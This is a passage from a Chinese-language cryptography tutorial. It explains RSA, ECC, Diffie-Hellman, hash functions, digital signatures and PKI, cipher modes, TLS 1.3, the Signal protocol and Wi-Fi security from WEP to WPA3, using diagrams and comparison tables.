text-anchor="middle" font-size="13">明文 m</text><text x="340" y="178" text-anchor="middle" font-size="11" font-family="monospace">Hello</text>  <text x="340" y="230" text-anchor="middle" font-size="12" fill="#636e72">从 (n, e) 算出 d 需要分解 n = p × q</text>  <text x="340" y="250" text-anchor="middle" font-size="12" fill="#636e72">n 为 2048 位时，经典计算机需要数十亿年</text></svg><p><em>图：RSA 完整流程——密钥生成、加密、解密</em></p><h4 id="用小学数学理解-RSA"><a href="#用小学数学理解-RSA" class="headerlink" title="用小学数学理解 RSA"></a>用小学数学理解 RSA</h4><p>选 p&#x3D;3, q&#x3D;11，则 n&#x3D;33, φ(n)&#x3D;20。</p><p>选 e&#x3D;7（与 20 互质），则 d&#x3D;3（因为 7×3&#x3D;21≡1 mod 20）。</p><p><strong>公钥</strong> (33, 7)，<strong>私钥</strong> (33, 3)。</p><p>加密 m&#x3D;4：c &#x3D; 4⁷ mod 33 &#x3D; 16384 mod 33 &#x3D; <strong>16</strong></p><p>解密 c&#x3D;16：m &#x3D; 16³ mod 33 &#x3D; 4096 mod 33 &#x3D; <strong>4</strong> ✅</p><h3 id="6-2-椭圆曲线密码学（ECC）"><a href="#6-2-椭圆曲线密码学（ECC）" class="headerlink" title="6.2 椭圆曲线密码学（ECC）"></a>6.2 椭圆曲线密码学（ECC）</h3><p>ECC<sup id="fnref:22"><a href="#fn:22" rel="footnote">[22]</a></sup> 与 RSA 实现相同的功能（加密、签名、密钥交换），但使用比 RSA <strong>小得多</strong>的密钥达到<strong>相同</strong>的安全强度。</p><table><thead><tr><th>安全强度</th><th>RSA 密钥长度</th><th>ECC 密钥长度</th><th>密钥大小比</th></tr></thead><tbody><tr><td>80 位</td><td>1024 位</td><td>160 位</td><td>6.4 : 1</td></tr><tr><td>128 位</td><td>3072 位</td><td>256 位</td><td>12 : 1</td></tr><tr><td>256 位</td><td>15360 位</td><td>512 位</td><td>30 : 1</td></tr></tbody></table><p><strong>主流曲线：</strong></p><ul><li><strong>Curve25519（X25519）：</strong> Daniel Bernstein 设计，256 位，约 128 位安全，速度极快且抗侧信道。TLS 1.3 和 Signal 协议的默认选择。</li><li><strong>P-256（secp256r1）：</strong> NIST 标准曲线，256 位，广泛使用但设计参数来源不完全透明。</li><li><strong>secp256k1：</strong> 比特币和以太坊使用的曲线。</li><li><strong>SM2：</strong> 中国国密标准椭圆曲线。</li></ul><h3 id="6-3-密钥交换：Diffie-Hellman"><a href="#6-3-密钥交换：Diffie-Hellman" class="headerlink" title="6.3 密钥交换：Diffie-Hellman"></a>6.3 密钥交换：Diffie-Hellman</h3><p>DH 密钥交换解决的核心问题：<em>两个从未谋面的人，如何在不安全的信道上，协商出一个只有他们知道的共享密钥？</em></p><blockquote><p><strong>颜色混合类比（最经典的解释方式）：</strong></p><ol><li>Alice 和 Bob 公开约定一种”公共颜色”（比如黄色）。</li><li>Alice 自选一种”私有颜色”（红色），与黄色混合得到橙色，发给 Bob。</li><li>Bob 自选一种”私有颜色”（蓝色），与黄色混合得到绿色，发给 Alice。</li><li>Alice 将收到的绿色与自己的私色（红）混合 → 得到某种棕色。</li><li>Bob 将收到的橙色与自己的私色（蓝）混合 → 得到<strong>完全相同的棕色</strong>！</li><li>窃听者 Eve 看到的只有黄色、橙色、绿色——无法混合出棕色。</li></ol></blockquote><p><strong>数学实现：</strong> Alice 选私钥 a，计算 A &#x3D; gª mod p 发给 Bob；Bob 选私钥 b，计算 B &#x3D; gᵇ mod p 发给 Alice。共享密钥 &#x3D; Bª mod p &#x3D; Aᵇ mod p &#x3D; gªᵇ mod p。窃听者从 g、gª、gᵇ 算出 gªᵇ 等价于解决<strong>离散对数问题</strong><sup id="fnref:23"><a href="#fn:23" rel="footnote">[23]</a></sup>。</p><hr><h2 id="第七章-哈希函数"><a href="#第七章-哈希函数" class="headerlink" title="第七章 哈希函数"></a>第七章 哈希函数</h2><p><strong>哈希函数（Hash Function）</strong> 将<strong>任意长度</strong>的输入数据映射为<strong>固定长度</strong>的输出（称为摘要&#x2F;散列值&#x2F;指纹）。它与加密的核心区别是：<em>哈希不能”解密”——它是单向的。</em></p><h3 id="安全哈希函数的三个核心性质"><a href="#安全哈希函数的三个核心性质" class="headerlink" title="安全哈希函数的三个核心性质"></a>安全哈希函数的三个核心性质</h3><table><thead><tr><th>性质</th><th>含义</th><th>生活类比</th></tr></thead><tbody><tr><td><strong>抗原像性</strong>（Pre-image Resistance）</td><td>给定哈希值 h，计算上不可行地找到 m 使 hash(m)&#x3D;h</td><td>从指纹不能还原出人脸</td></tr><tr><td><strong>抗第二原像性</strong>（Second Pre-image Resistance）</td><td>给定 m₁，计算上不可行地找到 m₂≠m₁ 使 hash(m₂)&#x3D;hash(m₁)</td><td>不能伪造别人的指纹</td></tr><tr><td><strong>抗碰撞性</strong>（Collision Resistance）</td><td>计算上不可行地找到任意两个不同输入产生相同哈希</td><td>理论上没有两人指纹完全相同</td></tr></tbody></table><h3 id="主流哈希算法对比"><a href="#主流哈希算法对比" class="headerlink" title="主流哈希算法对比"></a>主流哈希算法对比</h3><table><thead><tr><th>算法</th><th>输出长度</th><th>设计者</th><th>安全性</th><th>推荐度</th></tr></thead><tbody><tr><td>MD5</td><td>128 位</td><td>Ron Rivest (1992)</td><td>❌ 2004 年被王小云实用化碰撞攻击</td><td>绝不使用</td></tr><tr><td>SHA-1</td><td>160 位</td><td>NSA (1995)</td><td>❌ 2017 年 Google 首次公开碰撞（SHAttered）</td><td>绝不使用</td></tr><tr><td>SHA-256</td><td>256 位</td><td>NSA (2001)</td><td>✅ 目前安全</td><td>✅ 广泛推荐</td></tr><tr><td>SHA-512</td><td>512 位</td><td>NSA (2001)</td><td>✅ 更安全，但更慢</td><td>✅ 高安全场景</td></tr><tr><td>SHA-3 (Keccak)</td><td>任意</td><td>Guido Bertoni 等 (2015)</td><td>✅ 全新海绵结构，安全冗余高</td><td>✅ 推荐</td></tr><tr><td>BLAKE3</td><td>任意</td><td>Jack O’Connor 等 (2020)</td><td>✅ 比 SHA-256 快 10 倍+</td><td>✅ 高性能场景</td></tr><tr><td>SM3</td><td>256 位</td><td>国家密码管理局 (2010)</td><td>✅ 中国国密标准</td><td>✅ 国内合规场景</td></tr></tbody></table><blockquote><p><strong>🚫 MD5 和 SHA-1 还能用吗？</strong></p><p><strong>安全场景绝对不能！</strong> MD5 在 2004 年被王小云实现了实用碰撞。SHA-1 在 2017 年由 Google 联合 CWI 研究所实现了首个碰撞攻击（消耗了 9,223,372,036,854,775,808 次 SHA-1 计算）。</p><p><strong>仅可用于非安全场景：</strong> 文件下载完整性快速校验、去重等对安全性无要求的场景。但仍推荐至少使用 SHA-256。</p></blockquote><h3 id="哈希的实际应用"><a href="#哈希的实际应用" class="headerlink" title="哈希的实际应用"></a>哈希的实际应用</h3><table><thead><tr><th>应用</th><th>说明</th></tr></thead><tbody><tr><td><strong>密码存储</strong></td><td>存储 hash(password + salt)，永远不存明文。推荐 bcrypt&#x2F;scrypt&#x2F;Argon2</td></tr><tr><td><strong>文件完整性校验</strong></td><td>下载文件后比对 SHA-256 值，防止文件损坏或被篡改</td></tr><tr><td><strong>数字签名</strong></td><td>先对文档做 SHA-256 摘要，再对摘要签名（比直接签大文档快）</td></tr><tr><td><strong>区块链</strong></td><td>比特币用 SHA-256 做工作量证明和交易 ID</td></tr><tr><td><strong>Git 版本管理</strong></td><td>每个 commit 都用 SHA-1（正迁移到 SHA-256）做唯一标识</td></tr><tr><td><strong>消息认证码（HMAC）</strong></td><td>HMAC-SHA256(key, message) 同时验证完整性和真实性</td></tr></tbody></table><hr><h2 id="第八章-数字签名与-PKI（公钥基础设施）"><a href="#第八章-数字签名与-PKI（公钥基础设施）" class="headerlink" title="第八章 数字签名与 PKI（公钥基础设施）"></a>第八章 数字签名与 PKI（公钥基础设施）</h2><h3 id="8-1-数字签名如何工作？"><a href="#8-1-数字签名如何工作？" class="headerlink" title="8.1 数字签名如何工作？"></a>8.1 数字签名如何工作？</h3><p>数字签名是<strong>非对称加密的逆向使用</strong>——用私钥签名<sup id="fnref:24"><a href="#fn:24" rel="footnote">[24]</a></sup>，用公钥验证。它实现了身份认证 + 数据完整性。</p><p>下面的流程图展示了签名和验证的完整路径：</p><svg viewBox="0 0 680 260" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arrDS" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#d63031"/></marker></defs>  <defs><marker id="arrDS2" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#00b894"/></marker></defs>  <text x="160" y="20" text-anchor="middle" font-size="14" font-weight="700" fill="#d63031">签名过程（发送方 Alice）</text>  <text x="520" y="20" text-anchor="middle" font-size="14" font-weight="700" fill="#00b894">验证过程（接收方 Bob）</text>  <rect x="30" y="35" width="120" height="40" rx="6" fill="#dfe6e9"/><text x="90" y="53" text-anchor="middle" font-size="12">原始文档</text><text x="90" y="68" text-anchor="middle" font-size="10" font-family="monospace">contract.pdf</text>  <line x1="150" y1="55" x2="180" y2="55" stroke="#d63031" stroke-width="1.5" marker-end="url(#arrDS)"/>  <rect x="180" y="35" width="80" height="40" rx="6" fill="#00b894" opacity="0.1"/><text x="220" y="53" text-anchor="middle" font-size="11" fill="#00b894">SHA-256</text><text x="220" y="68" text-anchor="middle" font-size="10" fill="#00b894">哈希</text>  <line x1="260" y1="55" x2="290" y2="55" stroke="#d63031" stroke-width="1.5" marker-end="url(#arrDS)"/>  <rect x="170" y="95" width="100" height="35" rx="6" fill="#d63031" opacity="0.1"/><text x="220" y="117" text-anchor="middle" font-size="11" fill="#d63031">私钥加密摘要</text>  <line x1="220" y1="75" x2="220" y2="95" stroke="#d63031" stroke-width="1.5" marker-end="url(#arrDS)"/>  <rect x="140" y="145" width="160" height="35" rx="6" fill="#d63031" opacity="0.2"/><text x="220" y="163" text-anchor="middle" font-size="11" fill="#d63031">数字签名</text><text x="220" y="176" text-anchor="middle" font-size="9" fill="#d63031">signature.sig</text>  <rect x="350" y="35" width="120" height="40" rx="6" fill="#dfe6e9"/><text x="410" y="53" text-anchor="middle" font-size="12">收到的文档</text>  <line x1="470" y1="55" x2="500" y2="55" stroke="#00b894" stroke-width="1.5" marker-end="url(#arrDS2)"/>  <rect x="500" y="35" width="80" height="40" rx="6" fill="#00b894" opacity="0.1"/><text x="540" y="53" text-anchor="middle" font-size="11" fill="#00b894">SHA-256</text>  <line x1="540" y1="75" x2="540" y2="112" stroke="#00b894" stroke-width="1.5" marker-end="url(#arrDS2)"/>  <rect x="350" y="95" width="120" height="35" rx="6" fill="#dfe6e9"/><text x="410" y="117" text-anchor="middle" font-size="12">收到的签名</text>  <line x1="470" y1="112" x2="500" y2="112" stroke="#00b894" stroke-width="1.5" marker-end="url(#arrDS2)"/>  <rect x="500" y="95" width="80" height="35" rx="6" fill="#00b894" opacity="0.1"/><text x="540" y="117" text-anchor="middle" font-size="11" fill="#00b894">公钥解密</text>  <rect x="480" y="150" width="120" height="40" rx="8" fill="#00b894" opacity="0.05" stroke="#00b894" stroke-width="2"/>  <text x="540" y="168" text-anchor="middle" font-size="12" fill="#00b894">对比两个哈希值</text>  <text x="540" y="184" text-anchor="middle" font-size="11">相同 = 签名有效 ✅</text>  <line x1="320" y1="160" x2="340" y2="160" stroke="#636e72" stroke-width="1.5"/>  <text x="410" y="158" text-anchor="start" font-size="10" fill="#636e72">文档 + 签名 一起发送 →</text></svg><p><em>图：数字签名流程——用私钥签名，用公钥验证</em></p><h3 id="8-2-PKI-和证书链"><a href="#8-2-PKI-和证书链" class="headerlink" title="8.2 PKI 和证书链"></a>8.2 PKI 和证书链</h3><p>公钥基础设施（PKI<sup id="fnref:25"><a href="#fn:25" rel="footnote">[25]</a></sup>）解决了”<strong>你怎么确定这个公钥确实属于淘宝，而不是中间人伪造的？</strong>“</p><p>下面的图展示了从根 CA 到服务器证书的信任传递：</p><svg viewBox="0 0 680 220" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <text x="340" y="20" text-anchor="middle" font-size="14" font-weight="700" fill="#6c5ce7">X.509 证书信任链</text>  <rect x="240" y="35" width="200" height="50" rx="10" fill="#6c5ce7" opacity="0.1" stroke="#6c5ce7" stroke-width="2"/><text x="340" y="55" text-anchor="middle" font-size="13" font-weight="700" fill="#6c5ce7">根 CA（Root CA）</text><text x="340" y="73" text-anchor="middle" font-size="11" fill="#636e72">DigiCert / Let's Encrypt / CFCA</text>  <line x1="340" y1="85" x2="340" y2="100" stroke="#6c5ce7" stroke-width="2"/><text x="358" y="96" font-size="11" fill="#d63031">用自己的私钥签名 ↓</text>  <rect x="240" y="100" width="200" height="50" rx="10" fill="#a29bfe" opacity="0.1" stroke="#a29bfe" stroke-width="2"/><text x="340" y="120" text-anchor="middle" font-size="13" font-weight="700" fill="#6c5ce7">中间 CA（Intermediate CA）</text><text x="340" y="138" text-anchor="middle" font-size="11" fill="#636e72">由根 CA 签名，代表根 CA 签发证书</text>  <line x1="340" y1="150" x2="340" y2="165" stroke="#6c5ce7" stroke-width="2"/><text x="358" y="161" font-size="11" fill="#d63031">用中间 CA 私钥签名 ↓</text>  <rect x="240" y="165" width="200" height="50" rx="10" fill="#0984e3" opacity="0.1" stroke="#0984e3" stroke-width="2"/><text x="340" y="185" text-anchor="middle" font-size="13" font-weight="700" fill="#0984e3">服务器证书（End-entity）</text><text x="340" y="203" text-anchor="middle" font-size="11" fill="#636e72">taobao.com / baidu.com</text>  <rect x="460" y="35" width="200" height="180" rx="10" fill="#dfe6e9"/>  <text x="560" y="60" text-anchor="middle" font-size="12" font-weight="700" fill="#636e72">浏览器/操作系统</text>  <text x="560" y="80" text-anchor="middle" font-size="11" fill="#636e72">内置根证书列表</text>  <text x="560" y="105" text-anchor="middle" font-size="11" fill="#00b894">自动逐级验证</text>  <text x="560" y="130" text-anchor="middle" font-size="11" fill="#00b894">根→中间→服务器</text>  <text x="560" y="155" text-anchor="middle" font-size="11" fill="#00b894">全部通过 = 🔒 绿色锁</text></svg><p><em>图：证书信任链——从根 CA 到服务器证书的逐级签名验证</em></p><hr><h2 id="第九章-加密工作模式与填充"><a href="#第九章-加密工作模式与填充" class="headerlink" title="第九章 加密工作模式与填充"></a>第九章 加密工作模式与填充</h2><h3 id="9-1-分组密码的工作模式"><a href="#9-1-分组密码的工作模式" class="headerlink" title="9.1 分组密码的工作模式"></a>9.1 分组密码的工作模式</h3><p>分组密码只能加密固定大小的数据块（AES 为 128 位）。<em>工作模式</em>决定了如何处理多块数据以及块之间的关联方式。</p><table><thead><tr><th>模式</th><th>全称</th><th>特点</th><th>安全</th><th>推荐</th></tr></thead><tbody><tr><td><strong>ECB</strong></td><td>Electronic Codebook</td><td>每块独立加密，相同明文→相同密文</td><td>❌ 极不安全</td><td>永不使用</td></tr><tr><td><strong>CBC</strong></td><td>Cipher Block Chaining</td><td>每块与前一块密文 XOR 后再加密</td><td>⚠️ 需配合 MAC</td><td>可用但不推荐新项目</td></tr><tr><td><strong>CTR</strong></td><td>Counter</td><td>将分组密码转为流密码，用计数器生成密钥流</td><td>✅</td><td>✅ 推荐</td></tr><tr><td><strong>GCM</strong></td><td>Galois&#x2F;Counter Mode</td><td><strong>认证加密</strong><sup id="fnref:26"><a href="#fn:26" rel="footnote">[26]</a></sup>：同时提供加密 + 完整性验证</td><td>✅ 最佳</td><td>✅✅ 强烈推荐</td></tr><tr><td><strong>CCM</strong></td><td>CTR + CBC-MAC</td><td>另一种认证加密模式</td><td>✅</td><td>✅ 嵌入式场景</td></tr></tbody></table><blockquote><p><strong>⚠️ ECB 模式的著名”企鹅图”问题：</strong> 用 ECB 模式加密一张企鹅图片，虽然数据变了，但<em>企鹅的轮廓清晰可见</em>！因为相同颜色的像素块加密后仍然相同。这就是为什么 ECB 绝不应该被使用——它连最基本的模式隐藏都做不到。</p></blockquote><h3 id="9-2-填充方案"><a href="#9-2-填充方案" class="headerlink" title="9.2 填充方案"></a>9.2 填充方案</h3><p>当明文长度不是分组大小的整数倍时，需要<em>填充</em>。最常用的是<strong>PKCS#7 填充</strong>：如果需要填充 n 个字节，每个填充字节的值都等于 n。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">原始数据 (11 字节): 48 65 6C 6C 6F 20 57 6F 72 6C 64</span><br><span class="line">PKCS#7 填充后 (16 字节): 48 65 6C 6C 6F 20 57 6F 72 6C 64 05 05 05 05 05</span><br><span class="line">                                                      ^^^^^^^^^^^^^^^ 5 个 0x05 = 需要填充 5 字节</span><br></pre></td></tr></table></figure><hr><h2 id="第十章-当前主流加密方案全景"><a href="#第十章-当前主流加密方案全景" class="headerlink" title="第十章 当前主流加密方案全景"></a>第十章 当前主流加密方案全景</h2><h3 id="10-1-TLS-1-3-HTTPS-——-互联网的安全基石"><a href="#10-1-TLS-1-3-HTTPS-——-互联网的安全基石" class="headerlink" title="10.1 TLS 1.3 &#x2F; HTTPS —— 互联网的安全基石"></a>10.1 TLS 1.3 &#x2F; HTTPS —— 互联网的安全基石</h3><p>TLS 1.3<sup id="fnref:27"><a href="#fn:27" rel="footnote">[27]</a></sup>（2018 年发布，RFC 8446）是现代互联网加密的核心协议。相比 1.2，它做了革命性的简化——废弃了所有不安全算法，将握手过程从 2-RTT 缩短为 1-RTT。</p><p>下面的流程图展示了一次完整的 TLS 1.3 握手：</p><svg viewBox="0 0 680 320" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arrTLS" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#0984e3"/></marker></defs>  <text x="340" y="20" text-anchor="middle" font-size="15" font-weight="700" fill="#6c5ce7">TLS 1.3 握手流程（1-RTT）</text>  <rect x="20" y="40" width="100" height="40" rx="8" fill="#0984e3" opacity="0.1"/><text x="70" y="65" text-anchor="middle" font-size="13" fill="#0984e3">👤 客户端</text>  <rect x="150" y="40" width="100" height="40" rx="8" fill="#00b894" opacity="0.1"/><text x="200" y="65" text-anchor="middle" font-size="13" fill="#00b894">🖥️ 服务器</text>  <text x="20" y="100" font-size="11" fill="#636e72">第 1 步 0ms</text>  <rect x="90" y="88" width="220" height="28" rx="4" fill="#0984e3" opacity="0.05"/><text x="200" y="107" text-anchor="middle" font-size="10" fill="#0984e3">ClientHello: 支持的密码套件 + 密钥共享(ECDHE)</text>  <line x1="310" y1="102" x2="360" y2="102" stroke="#0984e3" stroke-width="1" marker-end="url(#arrTLS)"/>  <text x="20" y="135" font-size="11" fill="#636e72">第 2 步 1-RTT</text>  <rect x="350" y="120" width="280" height="42" rx="4" fill="#00b894" opacity="0.05"/><text x="490" y="137" text-anchor="middle" font-size="10" fill="#00b894">ServerHello: 选择密码套件 + 密钥共享(ECDHE)</text><text x="490" y="154" text-anchor="middle" font-size="10" fill="#00b894">+ 证书(Certificate) + 完成(Finished)</text>  <line x1="350" y1="141" x2="310" y2="141" stroke="#00b894" stroke-width="1" marker-end="url(#arrTLS)"/>  <text x="20" y="180" font-size="11" fill="#636e72">第 3 步</text>  <rect x="90" y="168" width="220" height="28" rx="4" fill="#0984e3" opacity="0.05"/><text x="200" y="187" text-anchor="middle" font-size="10" fill="#0984e3">Finished + HTTP 请求（已加密！）</text>  <line x1="310" y1="182" x2="360" y2="182" stroke="#0984e3" stroke-width="1" marker-end="url(#arrTLS)"/>  <rect x="150" y="220" width="380" height="85" rx="10" fill="#6c5ce7" opacity="0.05" stroke="#6c5ce7" stroke-width="1"/>  <text x="340" y="245" text-anchor="middle" font-size="13" font-weight="700" fill="#6c5ce7">TLS 1.3 关键特性</text>  <text x="340" y="265" text-anchor="middle" font-size="11" fill="#636e72">• 只需 1-RTT（往返）+ 0-RTT 可选重连</text>  <text x="340" y="282" text-anchor="middle" font-size="11" fill="#636e72">• 仅支持前向安全的 AEAD 密码（AES-GCM / ChaCha20-Poly1305）</text>  <text x="340" y="299" text-anchor="middle" font-size="11" fill="#636e72">• 移除所有不安全算法：RSA 密钥传输、CBC 模式、RC4、MD5、SHA-1</text></svg><p><em>图：TLS 1.3 握手——现代互联网的加密握手协议</em></p><h3 id="10-2-端到端加密：Signal-协议"><a href="#10-2-端到端加密：Signal-协议" class="headerlink" title="10.2 端到端加密：Signal 协议"></a>10.2 端到端加密：Signal 协议</h3><p>Signal 协议是 WhatsApp、Signal、微信等数十亿用户使用的端到端加密协议。核心创新是 <strong>Double Ratchet（双棘轮）算法</strong>：</p><ul><li><strong>X3DH（扩展三重 Diffie-Hellman）：</strong> 初始密钥协商，即使一方离线也能完成</li><li><strong>DH 棘轮：</strong> 每轮通信都生成新的 DH 密钥对，实现<strong>前向安全</strong>（即使长期密钥泄露，历史消息也无法解密）</li><li><strong>对称棘轮：</strong> 每条消息都衍生出新的对称密钥，实现<strong>后向安全</strong>（当前密钥泄露不影响未来消息）</li></ul><h3 id="10-3-磁盘与文件加密"><a href="#10-3-磁盘与文件加密" class="headerlink" title="10.3 磁盘与文件加密"></a>10.3 磁盘与文件加密</h3><table><thead><tr><th>方案</th><th>加密层</th><th>算法</th><th>平台</th></tr></thead><tbody><tr><td><strong>BitLocker</strong></td><td>全盘加密</td><td>AES-128&#x2F;256-CBC 或 XTS-AES</td><td>Windows</td></tr><tr><td><strong>FileVault 2</strong></td><td>全盘加密</td><td>AES-XTS-128</td><td>macOS</td></tr><tr><td><strong>LUKS&#x2F;dm-crypt</strong></td><td>全盘加密</td><td>AES、Twofish、Serpent（可选）</td><td>Linux</td></tr><tr><td><strong>VeraCrypt</strong></td><td>卷&#x2F;全盘加密</td><td>AES、Serpent、Twofish（可级联）</td><td>跨平台</td></tr><tr><td><strong>Android FBE</strong></td><td>文件级加密</td><td>AES-256-XTS</td><td>Android 7.0+</td></tr></tbody></table><h3 id="10-4-区块链中的密码学"><a href="#10-4-区块链中的密码学" class="headerlink" title="10.4 区块链中的密码学"></a>10.4 区块链中的密码学</h3><p>区块链是密码学的集大成应用：</p><ul><li><strong>比特币：</strong> ECDSA (secp256k1) 用于交易签名，SHA-256 用于工作量证明，RIPEMD-160 用于地址生成</li><li><strong>以太坊：</strong> ECDSA (secp256k1) 用于交易签名，Keccak-256 用于地址和状态根</li><li><strong>零知识证明（ZKP）：</strong> zk-SNARKs 使用配对友好椭圆曲线，实现”证明我知道 X 但不透露 X”</li></ul><h3 id="10-5-加密在你一天中的-24-小时"><a href="#10-5-加密在你一天中的-24-小时" class="headerlink" title="10.5 加密在你一天中的 24 小时"></a>10.5 加密在你一天中的 24 小时</h3><p>加密不是「打开浏览器才有的东西」——它渗透在你数字生活的<strong>每一秒</strong>。以下按时间线展示各个触点：</p><table><thead><tr><th>时间</th><th>行为</th><th>背后用的加密技术</th></tr></thead><tbody><tr><td>🌅 7:00</td><td>按指纹解锁手机</td><td><abbr title="可信执行环境（Trusted Execution Environment）">TEE</abbr> + AES 文件级加密</td></tr><tr><td>🌅 7:01</td><td>手机自动连上 Wi-Fi</td><td>WPA3 SAE 握手 → AES-CCMP 加密所有流量</td></tr><tr><td>🌅 7:05</td><td>打开微信看消息</td><td>Signal 协议类端到端加密 + TLS</td></tr><tr><td>🌅 7:15</td><td>Apple Watch 解锁 Mac</td><td>ECDSA 签名 + 安全飞地（Secure Enclave）</td></tr><tr><td>🌅 7:30</td><td>刷 NFC 进地铁</td><td>EMVCo 令牌化 + AES-128</td></tr><tr><td>☀️ 9:00</td><td>打开公司 VPN</td><td>WireGuard (Curve25519 + ChaCha20-Poly1305)</td></tr><tr><td>☀️ 9:05</td><td>浏览器访问 GitHub</td><td>TLS 1.3 ECDHE + AES-256-GCM</td></tr><tr><td>☀️ 12:00</td><td>微信扫码支付午餐</td><td>支付令牌 + TLS 1.3</td></tr><tr><td>🌤 18:00</td><td>1Password 自动填密码</td><td>AES-256 + Argon2 零知识架构</td></tr><tr><td>🌙 20:00</td><td>Netflix 看剧</td><td>Widevine DRM + AES-128-CTR 流加密</td></tr><tr><td>🌙 22:00</td><td>Mac 锁屏休眠</td><td>FileVault2 (AES-XTS-256) 全盘加密</td></tr></tbody></table><blockquote><p><strong>总结：</strong> 从睁眼到入睡，你与加密的交互至少发生 <strong>50-100 次</strong>，绝大多数时候你完全感知不到。这正是密码学工程设计的最高境界——<strong>安全应该是透明的</strong>。</p></blockquote><h3 id="10-6-Wi-Fi-加密：从-WEP-到-WPA3"><a href="#10-6-Wi-Fi-加密：从-WEP-到-WPA3" class="headerlink" title="10.6 Wi-Fi 加密：从 WEP 到 WPA3"></a>10.6 Wi-Fi 加密：从 WEP 到 WPA3</h3><p>Wi-Fi 是地球上使用最广泛的无线加密场景，它的安全进化史就是一部密码学攻防史。</p><h4 id="WEP（1999）——密码学灾难"><a href="#WEP（1999）——密码学灾难" class="headerlink" title="WEP（1999）——密码学灾难"></a>WEP（1999）——密码学灾难</h4><p>WEP 使用 RC4 流密码，设计上存在致命缺陷：<strong>24 位 IV 太短</strong>，每 1670 万个数据包循环一次，在繁忙网络里几分钟就重用了。IV 重用导致流密码被破解——2001 年即可在 60 秒内破解 WEP。</p><h4 id="WPA2（2004-至今）"><a href="#WPA2（2004-至今）" class="headerlink" title="WPA2（2004~至今）"></a>WPA2（2004~至今）</h4><p>WPA2 用 AES-CCMP 替代了 RC4。核心机制是<strong>四次握手（4-Way Handshake）</strong>：</p><svg viewBox="0 0 680 330" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs>    <marker id="arrW" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto"><path d="M0,0 L8,3 L0,6 Z" fill="#0984e3"/></marker>    <marker id="arrWg" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto"><path d="M0,0 L8,3 L0,6 Z" fill="#00b894"/></marker>  </defs>  <rect x="40" y="10" width="140" height="40" rx="10" fill="#0984e3"/><text x="110" y="36" text-anchor="middle" fill="#fff" font-size="15" font-weight="700">客户端</text>  <rect x="500" y="10" width="140" height="40" rx="10" fill="#00b894"/><text x="570" y="36" text-anchor="middle" fill="#fff" font-size="15" font-weight="700">AP（路由器）</text>  <text x="340" y="36" text-anchor="middle" font-size="12" fill="#636e72">已知：共享密码(PSK) + SSID → PMK</text>  <line x1="180" y1="70" x2="500" y2="70" stroke="#0984e3" stroke-width="2" marker-end="url(#arrW)"/>  <text x="340" y="62" text-anchor="middle" font-size="12" fill="#0984e3">① AP → Client: ANonce（随机数）</text>  <line x1="500" y1="100" x2="180" y2="100" stroke="#00b894" stroke-width="2" marker-end="url(#arrWg)"/>  <text x="340" y="92" text-anchor="middle" font-size="12" fill="#00b894">② Client → AP: SNonce + MIC</text>  <line x1="180" y1="130" x2="500" y2="130" stroke="#0984e3" stroke-width="2" marker-end="url(#arrW)"/>  <text x="340" y="122" text-anchor="middle" font-size="12" fill="#0984e3">③ AP → Client: GTK 加密 + MIC</text>  <line x1="500" y1="160" x2="180" y2="160" stroke="#00b894" stroke-width="2" marker-end="url(#arrWg)"/>  <text x="340" y="152" text-anchor="middle" font-size="12" fill="#00b894">④ Client → AP: ACK（确认）</text>  <rect x="60" y="185" width="560" height="50" rx="10" fill="#dfe6e9"/>  <text x="340" y="205" text-anchor="middle" font-size="13" fill="#2d3436">PMK + ANonce + SNonce → PTK（会话密钥）</text>  <text x="340" y="225" text-anchor="middle" font-size="12" fill="#636e72">此后所有数据用 PTK 通过 AES-CCMP 加密</text>  <rect x="60" y="250" width="560" height="65" rx="10" fill="#ff7675" opacity="0.1" stroke="#d63031" stroke-width="1.5" stroke-dasharray="4"/>  <text x="340" y="272" text-anchor="middle" font-size="13" fill="#d63031" font-weight="700">⚠ 致命漏洞：对第③步重放（KRACK, 2017）</text>  <text x="340" y="292" text-anchor="middle" font-size="12" fill="#d63031">AP 如果没收到 ACK 会重发 msg 3 → 客户端重装密钥 → Nonce 归零</text>  <text x="340" y="307" text-anchor="middle" font-size="11" fill="#636e72">同密钥+同 Nonce → 流密码加密被破解 → 流量可被解密</text></svg><h4 id="WPA3（2018）"><a href="#WPA3（2018）" class="headerlink" title="WPA3（2018）"></a>WPA3（2018）</h4><p>WPA3 针对 WPA2 的缺陷做了根本性重构：</p><table><thead><tr><th>改进点</th><th>WPA2</th><th>WPA3</th></tr></thead><tbody><tr><td>认证方式</td><td>PSK 四次握手</td><td><strong>SAE（对等同时认证）</strong>，基于 Dragonfly 密钥交换</td></tr><tr><td>KRACK 免疫</td><td>❌</td><td>✅ SAE 每次生成新 PMK，无密钥重装概念</td></tr><tr><td>离线字典攻击</td><td>❌</td><td>✅ 每次密码猜测必须在线交互，路由器可检测并锁定</td></tr><tr><td>前向安全</td><td>❌</td><td>✅ 即使密码泄露，历史流量无法解密</td></tr><tr><td>公共 Wi-Fi</td><td>完全明文</td><td><strong>OWE（机会性无线加密）</strong>，无需密码即可加密</td></tr></tbody></table><blockquote><p><strong>实际使用建议：</strong> 新路由器建议开 WPA3。只能用 WPA2 的话：使用 16 位以上随机密码 + 禁用 WPS + 开启 PMF。</p></blockquote><h3 id="10-7-DNS-加密：你的上网记录不该是明文的"><a href="#10-7-DNS-加密：你的上网记录不该是明文的" class="headerlink" title="10.7 DNS 加密：你的上网记录不该是明文的"></a>10.7 DNS 加密：你的上网记录不该是明文的</h3><p>传统 DNS（域名��IP 地址的查询服务）是<strong>明文</strong>的——你的 ISP 和咖啡店 Wi-Fi 管理员能看到你访问的每个网站。</p><p>三种加密 DNS 